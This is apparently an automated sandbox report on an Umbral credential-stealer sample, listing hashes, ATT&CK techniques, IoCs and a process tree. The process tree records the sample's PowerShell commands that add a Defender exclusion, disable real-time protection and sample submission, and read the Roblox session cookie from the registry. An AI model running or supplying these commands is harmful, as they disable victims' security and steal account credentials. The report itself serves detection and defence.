umbral | 1d2764e360259d54a4685745c8264295be898a4d208f405702ff2f8a2200114f

Analysis

max time kernel
93s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
03-02-2025 14:15

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General

Target

CrypticBootstrapper.exe
Size

234KB
MD5

e8ad07562f0bc1b8d7f48f6d5bd40bfc
SHA1

9aec9c702c4a697885edee682fc8602c73da9fa7
SHA256

1d2764e360259d54a4685745c8264295be898a4d208f405702ff2f8a2200114f
SHA512

1c874371239a5e90c35311cbead9474348dbaf3d548c2273c0b2a65e171cd93cc1c8e4f52c3f9c60f3af89dbf2f73743d0fc32980fff0bc0869957fa4670a870
SSDEEP

6144:TloZMLrIkd8g+EtXHkv/iD4AAMXdLocDFabtIExslb8e1mwdIi:RoZ0L+EP8AAMXdLocDFabtIEx4z

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1008-1-0x000002343F0E0000-0x000002343F120000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4292	powershell.exe
4788	powershell.exe
4904	powershell.exe
3036	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	CrypticBootstrapper.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	discord.com
17	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1276	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1008	CrypticBootstrapper.exe
4292	powershell.exe
4292	powershell.exe
4788	powershell.exe
4788	powershell.exe
4904	powershell.exe
4904	powershell.exe
4052	powershell.exe
4052	powershell.exe
3036	powershell.exe
3036	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1008	CrypticBootstrapper.exe
Token: SeIncreaseQuotaPrivilege	708	wmic.exe
Token: SeSecurityPrivilege	708	wmic.exe
Token: SeTakeOwnershipPrivilege	708	wmic.exe
Token: SeLoadDriverPrivilege	708	wmic.exe
Token: SeSystemProfilePrivilege	708	wmic.exe
Token: SeSystemtimePrivilege	708	wmic.exe
Token: SeProfSingleProcessPrivilege	708	wmic.exe
Token: SeIncBasePriorityPrivilege	708	wmic.exe
Token: SeCreatePagefilePrivilege	708	wmic.exe
Token: SeBackupPrivilege	708	wmic.exe
Token: SeRestorePrivilege	708	wmic.exe
Token: SeShutdownPrivilege	708	wmic.exe
Token: SeDebugPrivilege	708	wmic.exe
Token: SeSystemEnvironmentPrivilege	708	wmic.exe
Token: SeRemoteShutdownPrivilege	708	wmic.exe
Token: SeUndockPrivilege	708	wmic.exe
Token: SeManageVolumePrivilege	708	wmic.exe
Token: 33	708	wmic.exe
Token: 34	708	wmic.exe
Token: 35	708	wmic.exe
Token: 36	708	wmic.exe
Token: SeIncreaseQuotaPrivilege	708	wmic.exe
Token: SeSecurityPrivilege	708	wmic.exe
Token: SeTakeOwnershipPrivilege	708	wmic.exe
Token: SeLoadDriverPrivilege	708	wmic.exe
Token: SeSystemProfilePrivilege	708	wmic.exe
Token: SeSystemtimePrivilege	708	wmic.exe
Token: SeProfSingleProcessPrivilege	708	wmic.exe
Token: SeIncBasePriorityPrivilege	708	wmic.exe
Token: SeCreatePagefilePrivilege	708	wmic.exe
Token: SeBackupPrivilege	708	wmic.exe
Token: SeRestorePrivilege	708	wmic.exe
Token: SeShutdownPrivilege	708	wmic.exe
Token: SeDebugPrivilege	708	wmic.exe
Token: SeSystemEnvironmentPrivilege	708	wmic.exe
Token: SeRemoteShutdownPrivilege	708	wmic.exe
Token: SeUndockPrivilege	708	wmic.exe
Token: SeManageVolumePrivilege	708	wmic.exe
Token: 33	708	wmic.exe
Token: 34	708	wmic.exe
Token: 35	708	wmic.exe
Token: 36	708	wmic.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeIncreaseQuotaPrivilege	3104	wmic.exe
Token: SeSecurityPrivilege	3104	wmic.exe
Token: SeTakeOwnershipPrivilege	3104	wmic.exe
Token: SeLoadDriverPrivilege	3104	wmic.exe
Token: SeSystemProfilePrivilege	3104	wmic.exe
Token: SeSystemtimePrivilege	3104	wmic.exe
Token: SeProfSingleProcessPrivilege	3104	wmic.exe
Token: SeIncBasePriorityPrivilege	3104	wmic.exe
Token: SeCreatePagefilePrivilege	3104	wmic.exe
Token: SeBackupPrivilege	3104	wmic.exe
Token: SeRestorePrivilege	3104	wmic.exe
Token: SeShutdownPrivilege	3104	wmic.exe
Token: SeDebugPrivilege	3104	wmic.exe
Token: SeSystemEnvironmentPrivilege	3104	wmic.exe
Token: SeRemoteShutdownPrivilege	3104	wmic.exe
Token: SeUndockPrivilege	3104	wmic.exe
Token: SeManageVolumePrivilege	3104	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 708	1008	CrypticBootstrapper.exe	85
PID 1008 wrote to memory of 708	1008	CrypticBootstrapper.exe	85
PID 1008 wrote to memory of 4292	1008	CrypticBootstrapper.exe	89
PID 1008 wrote to memory of 4292	1008	CrypticBootstrapper.exe	89
PID 1008 wrote to memory of 4788	1008	CrypticBootstrapper.exe	91
PID 1008 wrote to memory of 4788	1008	CrypticBootstrapper.exe	91
PID 1008 wrote to memory of 4904	1008	CrypticBootstrapper.exe	93
PID 1008 wrote to memory of 4904	1008	CrypticBootstrapper.exe	93
PID 1008 wrote to memory of 4052	1008	CrypticBootstrapper.exe	95
PID 1008 wrote to memory of 4052	1008	CrypticBootstrapper.exe	95
PID 1008 wrote to memory of 3104	1008	CrypticBootstrapper.exe	97
PID 1008 wrote to memory of 3104	1008	CrypticBootstrapper.exe	97
PID 1008 wrote to memory of 4564	1008	CrypticBootstrapper.exe	99
PID 1008 wrote to memory of 4564	1008	CrypticBootstrapper.exe	99
PID 1008 wrote to memory of 2596	1008	CrypticBootstrapper.exe	101
PID 1008 wrote to memory of 2596	1008	CrypticBootstrapper.exe	101
PID 1008 wrote to memory of 3036	1008	CrypticBootstrapper.exe	103
PID 1008 wrote to memory of 3036	1008	CrypticBootstrapper.exe	103
PID 1008 wrote to memory of 1276	1008	CrypticBootstrapper.exe	105
PID 1008 wrote to memory of 1276	1008	CrypticBootstrapper.exe	105

C:\Users\Admin\AppData\Local\Temp\CrypticBootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\CrypticBootstrapper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CrypticBootstrapper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4052
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3104
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4564
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3036
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2979eabc783eaca50de7be23dd4eafcf

SHA1
d709ce5f3a06b7958a67e20870bfd95b83cad2ea

SHA256
006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903

SHA512
92bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
ba42012e626d8c04b25c5e8bcb49d58e

SHA1
4f542888067e87d2d4dd8ced7bc901abd60f819b

SHA256
0a3c73d3b3afc81747d415241a047a1cadd117a0536606b89e57ecf8836e40ff

SHA512
6678e24f430379c3c2ec0385fc02d0db9a65720072b57e4b36f23be65c82b4d3da2692e1bf0d575bdd59d5673fa1b64ab99d1881367af632bb89121b1981fe11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
77fad1dec6867fb7dd395c25c46d8ae5

SHA1
abfecfd6c63bb35ec88d98ef210adefc139d793e

SHA256
02b0ab469998ac630b421de245ee243599422e7f2c2f9714085fc5b837891784

SHA512
ac8d9d660992d076e46ffdb7422d4916789a7ca2f5737c711449f518745dee197ed1c08e50f81f92cb7d2d1ea94fe024e77a8295e1be05c5a49a0fd7495776d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybxnozoz.lax.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1008-71-0x00000234597A0000-0x00000234597AA000-memory.dmp

Filesize
40KB

Download
memory/1008-35-0x00000234597D0000-0x00000234597EE000-memory.dmp

Filesize
120KB

Download
memory/1008-91-0x00007FFDB77C0000-0x00007FFDB8281000-memory.dmp

Filesize
10.8MB

Download
memory/1008-72-0x00000234598D0000-0x00000234598E2000-memory.dmp

Filesize
72KB

Download
memory/1008-2-0x00007FFDB77C0000-0x00007FFDB8281000-memory.dmp

Filesize
10.8MB

Download
memory/1008-33-0x0000023459800000-0x0000023459876000-memory.dmp

Filesize
472KB

Download
memory/1008-34-0x0000023459880000-0x00000234598D0000-memory.dmp

Filesize
320KB

Download
memory/1008-0-0x00007FFDB77C3000-0x00007FFDB77C5000-memory.dmp

Filesize
8KB

Download
memory/1008-1-0x000002343F0E0000-0x000002343F120000-memory.dmp

Filesize
256KB

Download
memory/3036-86-0x0000016E71C00000-0x0000016E71E1C000-memory.dmp

Filesize
2.1MB

Download
memory/4292-15-0x0000025BCB5E0000-0x0000025BCB602000-memory.dmp

Filesize
136KB

Download
memory/4292-4-0x00007FFDB77C0000-0x00007FFDB8281000-memory.dmp

Filesize
10.8MB

Download
memory/4292-3-0x00007FFDB77C0000-0x00007FFDB8281000-memory.dmp

Filesize
10.8MB

Download
memory/4292-5-0x00007FFDB77C0000-0x00007FFDB8281000-memory.dmp

Filesize
10.8MB

Download
memory/4292-18-0x00007FFDB77C0000-0x00007FFDB8281000-memory.dmp

Filesize
10.8MB

Download